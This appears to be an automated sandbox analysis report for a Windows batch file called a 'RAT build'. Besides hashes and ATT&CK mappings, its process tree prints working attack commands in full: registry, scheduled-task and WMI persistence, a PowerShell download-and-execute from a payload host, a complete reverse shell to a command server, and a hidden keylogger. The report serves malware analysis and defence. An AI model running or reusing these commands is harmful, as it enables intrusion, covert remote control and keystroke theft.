93edd50def26fa3dc2ca7c3960382802e0f7ab60e014219cd7a089c2c7eed169

Analysis

max time kernel
149s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 22:22

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General

Target
rat_build_56593_014221.bat
Size 4KB
Sample260529-2af7dacy4q
SHA256 93edd50def26fa3dc2ca7c3960382802e0f7ab60e014219cd7a089c2c7eed169
MD5 e35bccdca33d01aa844baf4aa45794d6
SHA1 924e4ad069ff48640595aae15d431b629de6c7a9
SHA512 d365384b02755857f8c2d05a83247c6536cf4d861cadaf23b468cad3042123c71b1648b29519a124461ae51651485a0e2866c7d2152273603b5abbf0ca68578d
SSDEEP 96:PJIDAWUK4FT14JAJ1sdK4B0Np+sep8CyQ8edtCQog32FdAiFgZk8mvlo15t:BmUK4j4pGxBQo+iFgkHl4t
TLSH
T119A12A275BA6B660C9F45618DD323C14576CF6FB1305C89DBB488EE0198DB03921DAE7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_56593.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4740	powershell.exe
1984	powershell.exe
3328	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-889581200-2041691093-2048517887-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_56593 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_56593.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3452	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4276	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2028	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2792	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4740	powershell.exe
4740	powershell.exe
1984	powershell.exe
1984	powershell.exe
3328	powershell.exe
3328	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4688	WMIC.exe
Token: SeSecurityPrivilege	4688	WMIC.exe
Token: SeTakeOwnershipPrivilege	4688	WMIC.exe
Token: SeLoadDriverPrivilege	4688	WMIC.exe
Token: SeSystemProfilePrivilege	4688	WMIC.exe
Token: SeSystemtimePrivilege	4688	WMIC.exe
Token: SeProfSingleProcessPrivilege	4688	WMIC.exe
Token: SeIncBasePriorityPrivilege	4688	WMIC.exe
Token: SeCreatePagefilePrivilege	4688	WMIC.exe
Token: SeBackupPrivilege	4688	WMIC.exe
Token: SeRestorePrivilege	4688	WMIC.exe
Token: SeShutdownPrivilege	4688	WMIC.exe
Token: SeDebugPrivilege	4688	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4688	WMIC.exe
Token: SeRemoteShutdownPrivilege	4688	WMIC.exe
Token: SeUndockPrivilege	4688	WMIC.exe
Token: SeManageVolumePrivilege	4688	WMIC.exe
Token: 33	4688	WMIC.exe
Token: 34	4688	WMIC.exe
Token: 35	4688	WMIC.exe
Token: 36	4688	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4688	WMIC.exe
Token: SeSecurityPrivilege	4688	WMIC.exe
Token: SeTakeOwnershipPrivilege	4688	WMIC.exe
Token: SeLoadDriverPrivilege	4688	WMIC.exe
Token: SeSystemProfilePrivilege	4688	WMIC.exe
Token: SeSystemtimePrivilege	4688	WMIC.exe
Token: SeProfSingleProcessPrivilege	4688	WMIC.exe
Token: SeIncBasePriorityPrivilege	4688	WMIC.exe
Token: SeCreatePagefilePrivilege	4688	WMIC.exe
Token: SeBackupPrivilege	4688	WMIC.exe
Token: SeRestorePrivilege	4688	WMIC.exe
Token: SeShutdownPrivilege	4688	WMIC.exe
Token: SeDebugPrivilege	4688	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4688	WMIC.exe
Token: SeRemoteShutdownPrivilege	4688	WMIC.exe
Token: SeUndockPrivilege	4688	WMIC.exe
Token: SeManageVolumePrivilege	4688	WMIC.exe
Token: 33	4688	WMIC.exe
Token: 34	4688	WMIC.exe
Token: 35	4688	WMIC.exe
Token: 36	4688	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2964	WMIC.exe
Token: SeSecurityPrivilege	2964	WMIC.exe
Token: SeTakeOwnershipPrivilege	2964	WMIC.exe
Token: SeLoadDriverPrivilege	2964	WMIC.exe
Token: SeSystemProfilePrivilege	2964	WMIC.exe
Token: SeSystemtimePrivilege	2964	WMIC.exe
Token: SeProfSingleProcessPrivilege	2964	WMIC.exe
Token: SeIncBasePriorityPrivilege	2964	WMIC.exe
Token: SeCreatePagefilePrivilege	2964	WMIC.exe
Token: SeBackupPrivilege	2964	WMIC.exe
Token: SeRestorePrivilege	2964	WMIC.exe
Token: SeShutdownPrivilege	2964	WMIC.exe
Token: SeDebugPrivilege	2964	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2964	WMIC.exe
Token: SeRemoteShutdownPrivilege	2964	WMIC.exe
Token: SeUndockPrivilege	2964	WMIC.exe
Token: SeManageVolumePrivilege	2964	WMIC.exe
Token: 33	2964	WMIC.exe
Token: 34	2964	WMIC.exe
Token: 35	2964	WMIC.exe
Token: 36	2964	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2964	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 5100 wrote to memory of 2792	5100	cmd.exe	89
PID 5100 wrote to memory of 2028	5100	cmd.exe	90
PID 5100 wrote to memory of 4688	5100	cmd.exe	91
PID 5100 wrote to memory of 2964	5100	cmd.exe	92
PID 5100 wrote to memory of 1612	5100	cmd.exe	93
PID 5100 wrote to memory of 4276	5100	cmd.exe	95
PID 5100 wrote to memory of 3452	5100	cmd.exe	99
PID 5100 wrote to memory of 4740	5100	cmd.exe	100
PID 5100 wrote to memory of 1984	5100	cmd.exe	101
PID 5100 wrote to memory of 3328	5100	cmd.exe	102

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_56593_014221.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:5100
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_56593" /tr "C:\Users\Admin\AppData\Local\Temp\_56593.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2792
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_56593" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_56593.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:2028
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_56593", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4688
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_56593", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_56593.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2964
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_56593.txt
  2⤵
  PID:1612
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:4276
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:3452
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_56593.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4740
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1984
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3328

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a19b66cfcba4f9f7e58d8a173734f815217902be6221d104aeccfd5930401a47
MD5 8d87c3ad2e9f9f15f952a192e206d06b
SHA1 4471463eea8783da03ccce3ebee1871a2d27efc2
SHA512 d8e4fec8269786fd94be61a82e981207770b1693614658ba563d1e30738ffb25d79cafe9549d0a95a683551b870cc874bbfe30b33fec4decb6e5944266f9dc6c
TLSH
T12F115727B39C8921CC96153A409D9C1172B683D7419EDE9FAFC4D214A07F584CB611A4
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 3a5189a36c37dbe347805ef6def6e3694fe2d6f363944482592ea5d71b0ec837
MD5 6ef8c3604e3e583f35df2398190c1364
SHA1 5be71423c9ead8cfbbfdb07a5f27588deeb3d1a0
SHA512 1e3a00972951258f3cad39a9111b07bac9265c0c17faa27d3c5f5334a33a815bdb90403c78f8359955bb04b993e77fbeda4e93edb009b21d5df78220a714e615
TLSH
T191115727B39C89A1CC96153A409D9C1172B683D7409EDEDF6BC0D214A17F584CB61190
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_zt0azz4i.1zg.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zt0azz4i.1zg.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4740-3-0x0000018D0A530000-0x0000018D0A552000-memory.dmp

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